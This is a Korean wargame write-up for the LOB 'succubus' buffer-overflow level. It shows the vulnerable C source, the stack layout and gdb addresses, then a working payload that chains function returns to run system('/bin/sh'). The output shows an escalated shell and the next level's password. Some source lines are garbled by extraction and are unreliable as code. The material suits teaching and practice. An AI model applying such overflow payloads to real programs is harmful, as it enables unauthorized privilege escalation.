[17] zombie_assassin -> succubus ( Calling Function Continuously )

2017. 11. 25. 17:29SystemHacking/LOB(BOF원정대)




zombie_assassin / no place to hide

/bin/bash2

export SHELL=/bin/bash2



[ succubus.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
 
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
        // olleh!
        system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
        if(check != 1)
                exit(0);
 
        printf("welcome to the GYE!\n");
        check = 2;
}
 
void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}
 
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }
 
        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 044);
        memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-300003000-40);
}
 
cs


< 함수 호출 과정 >

call func            : push eip & jmp func

func prologue     : push ebp & mov ebp,esp

=> [ Stack ]

func's saved ebp

func's saved eip

arg1 ( func가 인자를 사용하는경우 )

main's saved ebp

main's saved eip



< 시나리오 >

buffer                    40byte

main's saved ebp    

main's saved eip       &DO

DO's saved eip         &GYE

GYE's saved eip        &GUL

GUL's saved eip        &YUT

YUT's saved eip        &MO

AAAA

MO's arg 1



< gdb >

(gdb) p DO

$1 = {<text variable, no debug info>} 0x80487ec <DO>

(gdb) p GYE

$2 = {<text variable, no debug info>} 0x80487bc <GYE>

(gdb) p GUL

$3 = {<text variable, no debug info>} 0x804878c <GUL>

(gdb) p YUT

$4 = {<text variable, no debug info>} 0x804875c <YUT>

(gdb) p MO

$5 = {<text variable, no debug info>} 0x8048724 <MO>


[zombie_assassin@localhost zombie_assassin]$ gdb -q succubus.cp
(gdb) set disassembly-flavor intel
(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>: push   %ebp
0x8048725 <MO+1>:       mov    %ebp,%esp
0x8048727 <MO+3>:       cmp    %ds:0x8049a90,4
0x804872e <MO+10>:      je     0x8048740 <MO+28>
0x8048730 <MO+12>:      push   0
0x8048732 <MO+14>:      call   0x804845c <exit>
0x8048737 <MO+19>:      add    %esp,4
0x804873a <MO+22>:      lea    %esi,[%esi]
0x8048740 <MO+28>:      push   0x80489bb
0x8048745 <MO+33>:      call   0x804844c <printf>
0x804874a <MO+38>:      add    %esp,4
0x804874d <MO+41>:      mov    %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>:      push   %eax
0x8048751 <MO+45>:      call   0x804840c <system>
0x8048756 <MO+50>:      add    %esp,4
0x8048759 <MO+53>:      leave
0x804875a <MO+54>:      ret
0x804875b <MO+55>:      nop
End of assembler dump.

(gdb) b *0x8048759
Breakpoint 1 at 0x8048759


(gdb) run $(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+"AAAA"+ "\xaa\xaa\xaa\xaa" + "/bin/sh" ')

Starting program: /home/zombie_assassin/succubus.cp $(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+"AAAA"+ "\xaa\xaa\xaa\xaa" + "/bin/sh" ')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!

Breakpoint 1, 0x8048759 in MO ()
(gdb) x/24x $ebp
0xbffffa8c:     0x00000000      0x41414141      0xaaaaaaaa      0x6e69622f <-- ( /bin/sh 위치 )
0xbffffa9c:     0x0068732f      0x08048808      0x00000002      0xbffffac4
0xbffffaac:     0x0804839c      0x0804894c      0x4000ae60      0xbffffabc
0xbffffabc:     0x40013e90      0x00000002      0xbffffbb8      0xbffffbda
0xbffffacc:     0x00000000      0xbffffc2a      0xbffffc44      0xbffffc5d
0xbffffadc:     0xbffffc7c      0xbffffc9e      0x00000000      0x00000000




< Payload >

MO's system()함수의 인자로 /bin/sh을 입력하려고 한다. 라이브러리내 주소를 사용할 수 없어 직접 스택에 넣어서 입력한다

[zombie_assassin@localhost zombie_assassin]$ ./succubus $(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+ "AAAA" + "\xa8\xfa\xff\xbf" + "/bin/sh" ')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay